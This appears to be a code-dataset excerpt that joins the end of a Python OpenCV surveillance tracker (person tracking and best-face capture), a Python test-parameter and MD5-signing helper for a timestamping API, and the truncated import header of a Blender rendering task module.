tracked_foreground_bboxes)\n\n def CheckForFacesInTrackedObjects(self, colour_frame, small_colour_frame, foreground_contours, foreground_bboxes):\n faces_bboxes = []\n for tracker in self.trackers:\n person_bbox = tracker.last_bbox\n person_upper_bbox = (person_bbox[0], person_bbox[1], int(person_bbox[2]/2.5), int(person_bbox[3]/2.5))\n \n # We will crop the tracked bounding box to search for a face in it instead of the entire image\n # this is faster.\n x = int(person_upper_bbox[0] * self.SCALE)\n y = int(person_upper_bbox[1] * self.SCALE)\n w = int(person_upper_bbox[2] * self.SCALE)\n h = int(person_upper_bbox[3] * self.SCALE)\n crop_img = colour_frame[y:y+h, x:x+w]\n faces_bboxes_big, face_weights = self.face_detector.detectMultiScale2(crop_img, scaleFactor=1.05, minNeighbors=5, minSize=(40,40), maxSize=(300,300))\n \n # Convert the higher resolution but cropped bboxes to fit the \n # small_colour_frame/small_gray_frame images to be consistent \n # with other bboxes\n faces_bboxes_small = []\n for fb in faces_bboxes_big:\n faces_bboxes_small.append((int((fb[0] + x) / self.SCALE), int((fb[1] + y) / self.SCALE), int((fb[2]) / self.SCALE), int((fb[3]) / self.SCALE)))\n \n # Filter out faces that don't match our person upper-body bbox\n faces_bboxes_small_indexes = self.FindMatchingObjectIndexes(person_upper_bbox, faces_bboxes_small)\n faces_bboxes_small = [faces_bboxes_small[i] for i in faces_bboxes_small_indexes]\n\n # Filter out faces that don't intersect with the actual foreground object contours for this tracker\n # I.e. They are inside the bbox, but it often has a lot of background image in it and we\n # dont care about matches that are in the background part of the image.\n faces_bboxes_small_tmp = []\n for face_bbox in faces_bboxes_small:\n x1 = face_bbox[0]\n y1 = face_bbox[1]\n x2 = x1 + face_bbox[2]\n y2 = y1 + face_bbox[3]\n face_contour = np.array([[[x1,y1]], [[x2,y1]], [[x2,y2]], [[x1,y2]]], dtype=np.int32)\n\n face_mask = np.zeros(small_colour_frame.shape, np.uint8)\n cv2.drawContours(face_mask, [face_contour], 0, 1, cv2.FILLED)\n \n matched = False\n (\n tracked_foreground_indexes, \n tracked_foreground_contours, \n tracked_foreground_bboxes\n ) = self.GetForegroundObjects(tracker, foreground_contours, foreground_bboxes)\n \n for tracked_foreground_contour in tracked_foreground_contours:\n object_mask = np.zeros(small_colour_frame.shape, np.uint8)\n cv2.drawContours(object_mask, [tracked_foreground_contour], 0, 2, cv2.FILLED)\n \n combined = face_mask + object_mask\n intersect_area = np.sum(np.greater(combined, 2))\n if intersect_area > 0:\n matched = True\n break\n\n if matched: faces_bboxes_small_tmp.append(face_bbox)\n faces_bboxes_small = faces_bboxes_small_tmp\n \n # After filtering good face matches, we want to now find the best face match out of what \n # we have seen\n this_frame_best_face_bbox = None\n this_frame_best_face_bbox_area = None\n\n for face_bbox in faces_bboxes_small:\n\n # Largest area of intersection with its bbox will give a good match criteria\n # As will hopefully give a bigger facial shot\n area = self.Area(self.Intersection(person_upper_bbox, face_bbox))\n\n if this_frame_best_face_bbox is None or area > this_frame_best_face_bbox_area:\n this_frame_best_face_bbox = face_bbox\n this_frame_best_face_bbox_area = area\n \n if tracker.best_match_face_area is None or area > tracker.best_match_face_area:\n tracker.best_match_face_area = area\n\n tracker.best_match_large_bbox = (int(person_bbox[0] * self.SCALE), int(person_bbox[1] * self.SCALE), int(person_bbox[2] * self.SCALE), int(person_bbox[3] * self.SCALE))\n tracker.best_match_small_bbox = (int(person_bbox[0]), int(person_bbox[1]), int(person_bbox[2]), int(person_bbox[3]))\n\n tracker.best_match_bbox = tracker.best_match_large_bbox\n tracker.best_match = copy.copy(colour_frame)\n \n # Note: Later will be updated to include the debug outlines etc\n tracker.best_match_debug = small_colour_frame\n \n tracker.best_match_frame_count = self.frame_count\n\n if this_frame_best_face_bbox is not None:\n faces_bboxes.append(this_frame_best_face_bbox)\n \n return faces_bboxes\n\n def TrackObjects(self,\n colour_frame,\n small_colour_frame,\n small_gray_frame,\n small_gray_foreground_frame,\n foreground_contours, \n foreground_bboxes,\n \n # @todo This is an in/out param and is a bad style to use this way\n objects_tracked):\n\n tracked_bboxes = []\n people_bboxes = []\n people_weights = []\n\n # Skip this frame if too much has changed\n area_foreground = np.sum(np.greater(small_gray_foreground_frame, 200))\n total_area = small_gray_foreground_frame.shape[0] * small_gray_foreground_frame.shape[1]\n percentage_changed = 100.0 * area_foreground / total_area\n if len(self.trackers) == 0 and percentage_changed > 40:\n print ('Too much of the image has changed, likely transition from day to night camera so skipping this frame. area canged: ' + str(area_foreground) + ' total area: ' + str(total_area) + ' percentage_changed: ' + str(percentage_changed))\n return (tracked_bboxes, people_bboxes, people_weights)\n \n # Tick all the active trackers which will update the existing self.trackers list based on the current frame\n self.UpdateActiveTrackers(\n small_colour_frame, \n foreground_contours, \n foreground_bboxes)\n\n # Handle special case where we start this file with some trackers enabled\n # that were active at the end of the last file and are considered still\n # active at the start of this file.\n #\n # objects_tracked will be empty as we haven't been able to create new ones yet\n # as that happens after this code and self.trackers will be non-empty.\n #\n # NOTE: Is deliberately after the UpdateActiveTrackers() handling to be sure we don't\n # add it if it existed in previous video but not in this one\n if len(self.trackers) > 0 and len(objects_tracked) == 0:\n objects_tracked += [t for t in self.trackers if t.failed_start_time is None]\n \n # Give the updated list of trackers from last frame we will categorize the foreground objects\n # into tracked and untracked objects\n (\n tracked_bboxes,\n tracked_foreground_indexes, \n tracked_foreground_contours, \n tracked_foreground_bboxes, \n untracked_foreground_indexes, \n untracked_foreground_contours, \n untracked_foreground_bboxes\n ) = self.CategorizeForegroundObjects(self.trackers, foreground_contours, foreground_bboxes)\n assert(len(untracked_foreground_bboxes) == (len(foreground_bboxes) - len(tracked_foreground_bboxes)))\n \n # Any untracked objects are candidates for new potential new people to be detected and tracked\n if len(untracked_foreground_bboxes) > 0:\n ot, pb, tb, pw = self.ActivateNewTrackers(\n colour_frame,\n small_colour_frame,\n small_gray_frame,\n foreground_contours, \n foreground_bboxes)\n objects_tracked += ot\n people_bboxes += pb\n people_weights += pw\n tracked_bboxes += tb\n\n # @todo We no longer properly maintain tracked_bboxes as we can modify an existing tracker. Maybe re-init it instead?\n return (tracked_bboxes, people_bboxes, people_weights)\n\n def Load(self, file_name, raise_on_error=False):\n self.background_remover = self.LoadBackground(file_name + '_background', raise_on_error=False)\n \n def Save(self, file_name):\n self.SaveBackground(self.background_remover, file_name + '_background')\n \n # @todo Pass in file name and dont use DebugFile in here\n def SaveProbability(self, spots, spots_count, name):\n spots_copy = spots.copy()\n spots_max = spots_copy.max()\n spots_copy *= 255.0 / spots_max\n \n file_name_base = self.DebugFile(os.path.join(self.output_dir, 'channel_' + str(self.channel) + '.' + name))\n cv2.imwrite(file_name_base + '.png', spots_copy)\n \n with open(file_name_base + '.json', 'w') as file:\n print('''{\ncount:'''+str(spots_count)+''',\nmax:'''+str(spots_max)+''',\n}''', file=file)\n\n\n def LoadProbability(self, name):\n # @todo Add file loading support\n spots = np.zeros(( int(1080/self.SCALE), int(1920/self.SCALE) ), dtype=np.float32)\n spots_count = 0\n return (spots, spots_count)\n \n def UpdateTrackingPositionProbabilities(self, trackers, foreground_contours, foreground_bboxes):\n (\n tracked_bboxes,\n tracked_foreground_indexes, \n tracked_foreground_contours, \n tracked_foreground_bboxes, \n untracked_foreground_indexes, \n untracked_foreground_contours, \n untracked_foreground_bboxes\n ) = self.CategorizeForegroundObjects(trackers, foreground_contours, foreground_bboxes)\n \n this_frames_noisy_spots = np.zeros(self.noisy_spots.shape, np.uint8)\n cv2.drawContours(this_frames_noisy_spots, untracked_foreground_contours, 0, 1, cv2.FILLED)\n if this_frames_noisy_spots.max() > 0:\n self.noisy_spots = self.noisy_spots + this_frames_noisy_spots\n self.noisy_spots_count += 1\n \n this_frames_tracked_spots = np.zeros(self.noisy_spots.shape, np.uint8)\n cv2.drawContours(this_frames_tracked_spots, tracked_foreground_contours, 0, 1, cv2.FILLED)\n if this_frames_tracked_spots.max() > 0:\n self.tracked_spots = self.tracked_spots + this_frames_tracked_spots\n self.tracked_spots_count += 1\n \n def GetContourIntersection(self, small_colour_frame, contours, bboxes, colour):\n bbox_mask = np.zeros(small_colour_frame.shape, np.uint8)\n for bbox in bboxes:\n x1 = bbox[0]\n y1 = bbox[1]\n x2 = x1 + bbox[2]\n y2 = y1 + bbox[3]\n bbox_contour = np.array([[[x1,y1]], [[x2,y1]], [[x2,y2]], [[x1,y2]]], dtype=np.int32)\n cv2.drawContours(bbox_mask, [bbox_contour], -1, (1,1,1), cv2.FILLED)\n\n contour_mask = np.zeros(small_colour_frame.shape, np.uint8)\n cv2.drawContours(contour_mask, contours, -1, (2,2,2), cv2.FILLED)\n \n #import code\n #code.interact(local=dict(globals(), **locals()))\n combined = bbox_mask + contour_mask\n \n return np.where(np.greater(combined, 2), colour, (0,0,0)).astype(np.uint8)\n\n def OverlayMask(self, background, foreground, alpha=0.3):\n # From: https://learnopencv.com/alpha-blending-using-opencv-cpp-python/\n \n fg = foreground * alpha\n bg = background * (1.0 - alpha)\n blended = bg + fg\n blended = blended.astype(np.uint8)\n \n # Wont return a copy instead we will modify the background so it works for debug of\n # trackers where drawing is done at the end\n background[:] = blended[:]\n \n #import code\n #code.interact(local=dict(globals(), **locals()))\n \n def ProcessVideo(self, input_file, initial_state=None):\n print ('Processing input file: ' + str(input_file))\n cap = cv2.VideoCapture(input_file)\n fps = cap.get(cv2.CAP_PROP_FPS)\n total_frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\n channel, start_time = self.GetFileDetails(input_file)\n assert(channel == self.channel)\n print ('Start time: ' + str(start_time))\n print ('Channel: ' + str(self.channel))\n print ('Video FPS: ' + str(fps))\n\n raise_on_error = False\n if initial_state is None:\n initial_state = os.path.join(self.output_dir, 'channel_' + str(self.channel))\n raise_on_error = True\n self.Load(initial_state, raise_on_error=raise_on_error)\n\n out_colour_frame = None\n out_small_colour_frame = None\n out_small_gray_frame = None\n out_small_gray_foreground_frame = None\n if DEBUG_INPUT:\n output_base = os.path.join(self.output_dir, os.path.basename(input_file))\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n #out_colour_frame = cv2.VideoWriter(self.DebugFile(output_base + '.output.avi'), fourcc, 12.0, (1920,1080))\n out_small_colour_frame = cv2.VideoWriter(self.DebugFile(output_base + '.small_colour_frame.avi'), fourcc, 12.0, (int(1920/self.SCALE),int(1080/self.SCALE)))\n #out_small_gray_frame = cv2.VideoWriter(self.DebugFile(output_base + '.small_grey.avi'), fourcc, 12.0, (int(1920/self.SCALE),int(1080/self.SCALE)))\n #out_small_gray_foreground_frame = cv2.VideoWriter(self.DebugFile(output_base + '.small_gray_foreground_frame.avi'), fourcc, 12.0, (int(1920/self.SCALE),int(1080/self.SCALE)))\n\n self.frame_count = 0\n frames_last_count = 0\n frames_last_time = time.time()\n objects_tracked = []\n\n while(cap.isOpened()):\n ret, colour_frame = cap.read()\n if not ret:\n break\n\n self.current_time = start_time + datetime.timedelta(seconds=(self.frame_count / fps))\n self.frame_count += 1\n if (frames_last_time + 1.0) <= time.time():\n fps = (self.frame_count - frames_last_count) / (time.time() - frames_last_time)\n print ('FPS: ' + str(fps) + ' frame: ' + str(self.frame_count) + ' / ' + str(total_frame_count) + ' : ' + str(int(100 * self.frame_count / total_frame_count)) + '%')\n \n frames_last_time += 1.0\n frames_last_count = self.frame_count\n\n # We can increase the \"fps\" by skipping a bunch of frames\n # we don't really need to run at the full framerate (12 fps)\n #\n # However once we have a tracker we will process every frame and\n # not skip any\n if len(self.trackers) == 0 and (self.frame_count % self.FRAME_RATE_DIVISOR) != 0:\n continue\n\n # Different processing segments require different image sizes and depths\n # for accuracy and speed\n small_colour_frame = cv2.resize(colour_frame, (int(1920/self.SCALE), int(1080/self.SCALE)))\n small_gray_frame = cv2.cvtColor(small_colour_frame, cv2.COLOR_RGB2GRAY)\n\n # Extract the foreground image\n small_gray_foreground_frame = self.ExtractForeground(small_gray_frame)\n\n # Extract the objects/contours from the foreground\n foreground_contours, foreground_bboxes = self.FindForegroundObjects(small_gray_foreground_frame)\n\n tracked_bboxes, people_bboxes, people_weights = self.TrackObjects(\n colour_frame,\n small_colour_frame,\n small_gray_frame,\n small_gray_foreground_frame,\n foreground_contours, \n foreground_bboxes,\n \n # Note: Is an out parameter\n objects_tracked\n )\n\n # Finally lets look inside any tracked bboxes (new or previously active) and \n # see if we can find a face. We will keep a copy of the best facial image we\n # see while we are tracking this object.\n faces_bboxes = self.CheckForFacesInTrackedObjects(colour_frame, small_colour_frame, foreground_contours, foreground_bboxes)\n\n self.UpdateTrackingPositionProbabilities(self.trackers, foreground_contours, foreground_bboxes)\n \n if DEBUG_TRACKER_DECISIONS or DEBUG_TRACKER_DECISIONS_VIDEO or DEBUG_INPUT or not PRODUCTION:\n face_mask = self.GetContourIntersection(small_colour_frame, foreground_contours, faces_bboxes, (255, 255, 0))\n person_mask = self.GetContourIntersection(small_colour_frame, foreground_contours, people_bboxes, (255, 0, 0))\n tracker_mask = self.GetContourIntersection(small_colour_frame, foreground_contours, tracked_bboxes, (0, 255, 0))\n\n # @todo Break into tracking/noisy probable masks\n foreground_mask = self.GetContourIntersection(small_colour_frame, foreground_contours, foreground_bboxes, (0, 0, 255))\n\n merged = np.zeros(small_colour_frame.shape, np.uint8)\n merged = np.where(np.greater(foreground_mask, 0), foreground_mask, merged).astype(np.uint8)\n merged = np.where(np.greater(tracker_mask, 0), tracker_mask, merged).astype(np.uint8)\n merged = np.where(np.greater(person_mask, 0), person_mask, merged).astype(np.uint8)\n merged = np.where(np.greater(face_mask, 0), face_mask, merged).astype(np.uint8)\n self.OverlayMask(small_colour_frame, merged)\n \n # Draw all debug onto the small_colour_frame\n self.DrawBoxes(small_colour_frame, faces_bboxes, (255, 255, 0), 1)\n #self.DrawBoxes(small_colour_frame, people_bboxes, (255, 0, 0), 3)\n for i in range(0, len(people_bboxes)):\n person_bbox = people_bboxes[i]\n person_weight = float(people_weights[i])\n\n if person_weight < 0.13:\n text = 'None {:.1f}'.format(person_weight)\n width = 1\n elif person_weight < 0.3 and person_weight > 0.13:\n text = 'Low {:.1f}'.format(person_weight)\n width = 2\n elif person_weight < 0.7 and person_weight > 0.3:\n text = 'Med {:.1f}'.format(person_weight)\n width = 3\n elif person_weight > 0.7:\n text = 'High {:.1f}'.format(person_weight)\n width = 4\n\n colour_weight = width / 4.0\n colour = (int(255 * colour_weight), 0, 0)\n cv2.putText(small_colour_frame, text, (person_bbox[0], person_bbox[1]), cv2.FONT_HERSHEY_SIMPLEX, 0.7, colour, 1)\n self.DrawBoxes(small_colour_frame, [person_bbox], colour, width)\n\n self.DrawBoxes(small_colour_frame, tracked_bboxes, (0, 255, 0), 2)\n self.DrawBoxes(small_colour_frame, foreground_bboxes, (0, 0, 255), 1)\n\n for tracker in self.trackers:\n self.OnTickTracker(tracker, colour_frame, small_colour_frame)\n\n if not PRODUCTION:\n #cv2.imshow('frame', colour_frame)\n cv2.imshow('frame', small_colour_frame)\n #cv2.imshow('frame', small_gray_frame)\n #cv2.imshow('frame', small_gray_foreground_frame)\n pass\n\n if out_colour_frame is not None:\n out_colour_frame.write(colour_frame)\n\n if out_small_colour_frame is not None:\n out_small_colour_frame.write(small_colour_frame)\n\n if out_small_gray_frame is not None:\n out_small_gray_frame.write(cv2.cvtColor(small_gray_frame, cv2.COLOR_GRAY2RGB))\n\n if out_small_gray_foreground_frame is not None:\n out_small_gray_foreground_frame.write(cv2.cvtColor(small_gray_foreground_frame, cv2.COLOR_GRAY2RGB))\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n self.SaveProbability(self.noisy_spots, self.noisy_spots_count, 'noisy')\n self.SaveProbability(self.tracked_spots, self.tracked_spots_count, 'tracked')\n self.Save(initial_state)\n \n cap.release()\n\n if out_colour_frame is not None:\n out_colour_frame.release()\n\n if out_small_colour_frame is not None:\n out_small_colour_frame.release()\n\n if out_small_gray_frame is not None:\n out_small_gray_frame.release()\n\n if out_small_gray_foreground_frame is not None:\n out_small_gray_foreground_frame.release()\n\n if not PRODUCTION:\n cv2.destroyAllWindows()\n \n return objects_tracked\n \n def ProcessFiles(self):\n available_files = []\n for f in os.listdir(self.input_dir):\n input_file = os.path.join(self.input_dir, f)\n \n if not os.path.isfile(input_file):\n continue\n \n if input_file in self.monitor_completed_files:\n continue\n \n channel = '00'\n start_time = None\n try: channel, start_time = self.GetFileDetails(input_file)\n except Exception as e: \n print ('Skipping file: ' + str(input_file) + ', reason: ' + str(e))\n self.monitor_completed_files.append(input_file)\n continue\n \n if int(channel) != int(self.channel):\n print ('Skipping file: ' + str(input_file) + ', as it doesnt belong to our monitored channel: ' + str(self.channel))\n self.monitor_completed_files.append(input_file)\n continue\n \n available_files.append((start_time, input_file))\n\n sorted_files = sorted(available_files, key=lambda tup: tup[0])\n for start_time, input_file in sorted_files:\n objects_tracked = video_tracking.ProcessVideo(input_file)\n if PRODUCTION :\n try: os.remove(input_file)\n except: print(\"Error while deleting file : \", input_file)\n pass\n print ('Finished processing file: ' + str(input_file) + ' and found ' + str(len(objects_tracked)) + ' unique objects in the video feed')\n self.monitor_completed_files.append(input_file)\n\ndef ParseCmdArgs():\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('--channel', dest='channel', metavar='str', default='1', help= 'The channel to monitor')\n parser.add_argument('--input-dir', dest='input_dir', metavar='FILE', help= 'Input directory to monitor for new video files to process')\n parser.add_argument('--output-dir', dest='output_dir', metavar='FILE', help= 'Output directory to place generated data into')\n \n parser.add_argument('--input-debug', dest='input_debug', metavar='FILE', help= 'File to replay')\n return parser.parse_args()\n\nif __name__ == '__main__':\n logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n args = ParseCmdArgs()\n\n video_tracking = VideoTracking(args.channel, args.input_dir, args.output_dir)\n \n if args.input_debug:\n # Special scenario, we will load a initial state and debug\n PRODUCTION = False\n DEBUG_INPUT = False\n DEBUG_TRACKER_REPLAY = True\n DEBUG_TRACKER_DECISIONS = True\n\n # channel_01_20210113112609.avi\n # channel_01_20210113112609_background.json\n initial_state = os.path.splitext(args.input_debug)[0] + '_background'\n objects_tracked = video_tracking.ProcessVideo(args.input_debug, initial_state=initial_state)\n\n else:\n print ('Waiting for mp4 video stream files in folder: ' + str(args.input_dir) + ' on channel: ' + str(args.channel))\n while True:\n video_tracking.ProcessFiles()\n time.sleep(1)\n","repo_name":"bjcosta/surveillance_tracking","sub_path":"src/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":48711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39872400342","text":"import base64\nimport csv\nimport datetime\nimport random\nimport string\n\nfrom basic_config.utils.operation_excel import OperationExcel\nfrom copy import deepcopy\nfrom basic_config.utils.operation_json import OperationJson\nfrom basic_config.get_data.param_global import ParamGlobal\nimport logging\nimport hashlib\nimport os\n\nlog = logging.getLogger(__file__)\n\nclass TsaParamDict:\n hash_order =['partnerID', 'partnerKey', 'hash', 'file', 'hashAlgorithm', 'fileSzieFlag', 'fileType', 'opusName', 'fileExtension','opusState', 'opusPartnerID', 'opusLabel', 'opusStore', 'opusDescribe', 'opusType', 'opusCreativeType', 'opusCreativeNature', 'applyType', 'applyUserType', 'applyNationality', 'applyName', 'applyIDType', 'applyIDNumber', 'applyPhone', 'applyMail', 'applyAddress', 'applyEmergencyName', 'applyEmergencyPhone', 'authType', 'authValidiy', 'authProtocol', 'authTime', 'authBusiness', 'authPlatform', 'authPlatformID', 'authPrice', 'authAllowType', 'authUse', 'authCountry', 'authSell', 'authLimit', 'authRemark', 'authUserType', 'authUserNationality', 'authUserName', 'authUserIDType', 'authUserIDNumber', 'authUserPhone', 'authUserMail', 'authUserAddress', 'remark1', 'remark2', 'remark3', 'encodeFmt', 'salt', 'callbackUrl']\n hash_order_download=['partnerID', 'partnerKey','serialNo']\n def __init__(self,filename=None,sheetid=0):\n try:\n if filename:\n self.filename = filename\n else:\n self.filename = \"../data_file/data_xn.xlsx\"\n self.sheetid = sheetid\n self.op_excel = OperationExcel(self.filename,sheetid)\n self.name_value_list = self.op_excel.get_row_col_list()\n #print(self.name_value_list)\n self.name_list = self.name_value_list[0]\n self.op_json = OperationJson(\"../data_file/emun.json\")\n self.param = ParamGlobal()\n except Exception as e:\n log.error(\"接口参数处理类初始化异常,异常原因:{}\".format(e))\n def get_param_name(self):\n '''\n 获取参数名列表\n :return:\n '''\n try:\n param_name_list = None\n param_name_list = []\n\n for pname in self.name_value_list[0]:\n param_name = pname.split(\"-\")[1]\n param_name_list.append(param_name)\n except Exception as e:\n log.error(\"接口参数处理参数名方法异常,异常原因:{}\".format(e))\n return param_name_list\n\n def get_param_value(self0):\n pass\n\n\n def get_param_name_value(self):\n '''\n 获取参数名与参数值对应的字典列表\n :return: 参数列表\n '''\n try:\n name_value_row_list = []\n #print(self.get_param_name())\n for i in range(1,len(self.name_value_list)):\n name_value_row_list.append(dict(zip(self.get_param_name(),self.name_value_list[i])))\n return name_value_row_list\n except Exception as e:\n log.error(\"接口参数处理类处理参数名与参数值方法异常,异常原因:{}\".format(e))\n return None\n\n\n\n def deal_param(self,flag=0,req_type='',start=0,end=0):\n '''\n 处理后的参数数据即\n 参数值不填代表传参此参数不填\n 参数值为N代表传参数名,但参数值为“”\n 参数值为F-文件名代表传的参数是文件类型\n :return:\n '''\n no_param = [\"IsRun\", \"CaseID\", \"TestTarget\", \"CaseDesc\", \"ExpectValue\", \"callbackFlag\", \"res_serialNo\",\n \"result\", \"fileB\", \"authProtocolB\", \"is_apply\", \"res_download\", \"is_download\", \"is_pass\"]\n try:\n case_list= self.get_param_name_value()\n if end == 0:\n end = len(case_list)\n if len(case_list)>0:\n case_remove = []\n count = 0\n for param_dict in case_list[start:end]:\n if str(param_dict.get(\"IsRun\")).lower() != \"yes\":\n case_remove.append(param_dict)\n continue\n for key in list(param_dict.keys()):\n key_value = param_dict.get(key)\n # if not key_value and key not in no_param and key !=\"salt\":\n # del param_dict[key]\n if str(key_value).upper() == 'N':\n param_dict[key] = \"\"\n if (key == \"file\" or key == \"authProtocol\" )and key_value != \"\" :\n param_dict[key] = self.encry(key_value) #根据获取的key_value进行上传前数据处理\n\n if param_dict[\"CaseID\"] == \"BQ_salt_error\":\n pass\n elif flag == 0 and req_type != \"download\":\n salt = self.get_salt(param_dict)\n param_dict[\"salt\"] = salt\n elif req_type == \"download\" and count<22:\n salt = self.get_salt(param_dict,req_type=\"download\")\n param_dict[\"salt\"] = salt\n count += 1\n if len(case_remove)>0:\n for case in case_remove:\n case_list.remove(case)\n\n return case_list[start:end]\n except Exception as e :\n log.error(\"接口参数处理类处理后的参数数据方法异常,异常原因:{}\".format(e))\n return None\n\n def encry(self,cnf_org):\n try:\n with open(cnf_org,'rb') as f: # 以二进制读取图片\n data = f.read()\n encodestr = base64.b64encode(data) # 得到 byte 编码的数据\n #print(str(encodestr,'utf-8')) # 重新编码数据\n return str(encodestr,'utf-8')\n except Exception as e:\n log.error(\"接口参数处理类处理文件方法异常,异常原因:{}\".format(e))\n return None\n\n def decry(self,cnf_org,serialNo,file_type=\"pdf\",download_file=None):\n\n bq_pdf = base64.b64decode(cnf_org)\n data_str =datetime.datetime.now().strftime('%Y%m%d')\n rand_str = ''.join(random.sample((string.ascii_letters + string.digits),5))\n pdf_name = \"{}_{}_{}.{}\".format(serialNo,data_str,rand_str,file_type)\n if not download_file:\n path = '../download/0729_hz/'\n else:\n path = '../download/{}/'.format(download_file)\n if not os.path.exists(path):\n os.makedirs(path)\n file_name = path+\"{}\".format(pdf_name)\n file = open(file_name, \"wb\")\n file.write(bq_pdf)\n file.close()\n\n def deal_enum_param(self,caseid=0,param=None,start=0,end=0):\n try:\n if param:\n param_list = param\n else:\n param_list = self.op_json.get_keys_list()\n if end == 0:\n end=len(param_list)\n emun_case_list = []\n count = 0\n for param_key in param_list[start:end]:\n emun_json = self.op_json.get_data_for_key(param_key)\n if len(emun_json)>0:\n case_1 = deepcopy(self.deal_param()[caseid]) # 拷贝测试用例第二条\n for key in list(emun_json.keys()):\n case_1[param_key] = key\n case_1[\"TestTarget\"] = \"申请成功-枚举类型数据正确性验证-00{}\".format(count+1)\n case_1[\"CaseDesc\"] ='枚举类型参数<{}>-合法参数值<{}>-其它参数正确填写-申请成功'.format(param_key,key)\n case_1[\"ExpectValue\"] = '{\"success\":true,\"resultCode\":\"0204000\"}'\n case_1[\"ExpCallbackFlag\"] = '{\"callbackFlag\":true}'\n salt = self.get_salt(case_1)\n case_1[\"salt\"] = salt\n emun_case_list.append(case_1)\n count+=1\n\n return emun_case_list\n except Exception as e :\n log.error(\"接口参数处理类处理枚举字段方法异常,异常原因:{}\".format(e))\n return None\n\n def test_param_400(self,caseid):\n en_name_list = self.param.get_param_en_name_list()\n count = 0\n test_param_400_list= []\n for name in en_name_list:\n count+=1\n if count>13:\n case_1 = deepcopy(self.deal_param()[caseid]) # 拷贝测试用例第一条\n case_1[name] = \"101\"\n test_param_400_list.append(case_1)\n return test_param_400_list\n\n def get_salt(self,case_dict=None,name_space=\"\",req_type=''):\n test_param_list = []\n if req_type==\"download\":\n hash_order = self.hash_order_download\n else:\n hash_order =self.hash_order\n if name_space:\n case_dict[name_space]=\"\"\n value_order_list = []\n for param_name in hash_order:\n test_param_list.append(case_dict.get(param_name,\"\"))\n if param_name in case_dict.keys():\n value_order_list.append(case_dict[param_name])\n # print(value_order_list)\n # else:\n # value_order_list.append(\"\")\n\n partnerKey = case_dict.get(\"partnerKey\") if case_dict.get(\"partnerKey\") else \"\"\n #\n # print(value_order_list)\n # print(len(value_order_list))\n salt = self.make_salt(value_order_list,partnerKey)\n\n value_order_list[len(value_order_list)-2]=salt\n a = []\n a.append(value_order_list)\n print(value_order_list)\n print(\"*************************************\")\n print('_'.join(value_order_list))\n print(\"*************************************\")\n test_param_list[54] = salt\n print(len(test_param_list))\n count = 0\n for i in test_param_list:\n print(i+\"*****\")\n count=count+1\n print(count)\n path = \"../data_file/{}.csv\".format(case_dict[\"CaseID\"])\n # if not os.path.exists(path):\n # os.makedirs(path)\n with open(path,mode=\"w+\",newline=\"\",encoding=\"utf-8\") as fp:\n writer = csv.writer(fp)\n writer.writerow(test_param_list)\n\n #case_dict[\"userInterfaceValidity\"] = userInterfaceValidity\n return salt\n\n\n\n\n\n def make_salt(self,value_list=None,partnerKey=\"\"):\n # 待加密信息\n #print(value_list)\n deal_value_list = []\n for value in value_list:\n try:\n value_str=str(value)\n except Exception as e :\n value_str = value\n deal_value_list.append(value_str)\n #print(deal_value_list)\n\n # print(deal_value_list)\n value_str = \"\".join(deal_value_list)\n # print(value_str)\n\n # 创建md5对象\n m = hashlib.md5()\n\n # Tips\n # 此处必须encode\n # 若写法为m.update(str) 报错为: Unicode-objects must be encoded before hashing\n # 因为python3里默认的str是unicode\n # 或者 b = bytes(str, encoding='utf-8'),作用相同,都是encode为bytes\n b = value_str.encode(encoding='utf-8')\n m.update(b)\n value_str_md5 = m.hexdigest()\n salt = value_str_md5+partnerKey\n\n # print('MD5加密前为 :' + value_str)\n # print('MD5加密后为 :' + value_str_md5)\n # print('salt :' + salt)\n #\n return salt\n # 另一种写法:b‘’前缀代表的就是bytes --此方法仅针对于英文加密,中文加密此方法报错\n # str_md5 = hashlib.md5(b'this is a md5 test.').hexdigest()\n # print('MD5加密后为 :' + str_md5)\n\n def case_deal_param(self,case_dict):\n pass\n\n\n def get_sha256(self,filename):\n with open(filename,'rb') as f :\n data = f.read()\n encodestr = base64.b64encode(data)\n #encodestr = base64.b64encode(data) # 得到 byte 编码的数据\n #print(str(encodestr,\"utf-8\"))\n s = hashlib.md5(data).hexdigest()\n # sha = hashlib.sha256()\n # sha.update(data)\n # hash_256 = sha.hexdigest()\n # print(hash_256,\"utf-8\")\n # return str(hash_256,\"utf-8\")\n return s\n\nif __name__ == \"__main__\":\n tsapd = TsaParamDict()\n #filepath = \"/Users/majing/Desktop/5itest.jpg\"\n # print(tsapd.get_param_name())\n # print(tsapd.get_param_name_value())\n # print(tsapd.deal_param())\n # print(tsapd.deal_enum_param())\n #tsapd.make_data_param_value_fail()\n #ss= tsapd.encry(filepath)\n #tsapd.decry(ss,22222)\n # print(tsapd.deal_enum_param())\n # print(hash(\"5\"))\n # print(tsapd.make_userInterfaceValidity([2]))\n tsapd.deal_param()\n #print(tsapd.get_sha256(\"../applay_file/file_154kb.jpg\"))\n # print(tsapd.make_salt())\n","repo_name":"shadongdong2019/Interface_GUI_0622","sub_path":"interface_frame/basic_config/test_run/test_run.py","file_name":"test_run.py","file_ext":"py","file_size_in_byte":12855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71039916063","text":"import functools\r\nimport logging\r\nimport math\r\nimport os\r\nimport random\r\nimport time\r\nfrom collections import OrderedDict\r\nfrom copy import copy\r\nfrom typing import Optional, Type\r\n\r\nimport apps.blender.resources.blenderloganalyser as log_analyser\r\nfrom apps.blender.blenderenvironment import BlenderEnvironment, \\\r\n BlenderNVGPUEnvironment\r\nfrom apps.core.task.coretask import CoreTaskTypeInfo\r\nfrom apps.rendering.resources.imgrepr import OpenCVImgRepr\r\nfrom apps.rendering.resources.renderingtaskcollector import \\\r\n RenderingTaskCollector\r\nfrom apps.rendering.resources.utils import handle_opencv_image_error\r\nfrom apps.rendering.task.framerenderingtask import FrameRenderingTask, \\\r\n FrameRenderingTaskBuilder, FrameRendererOptions\r\nfrom apps.rendering.task.renderingtask import PREVIEW_EXT, PREVIEW_X, \\\r\n PREVIEW_Y\r\nfrom apps.rendering.task.renderingtaskstate import RenderingTaskDefinition\r\nfrom golem.core.common import short_node_id, to_unicode\r\nfrom golem.core.fileshelper import 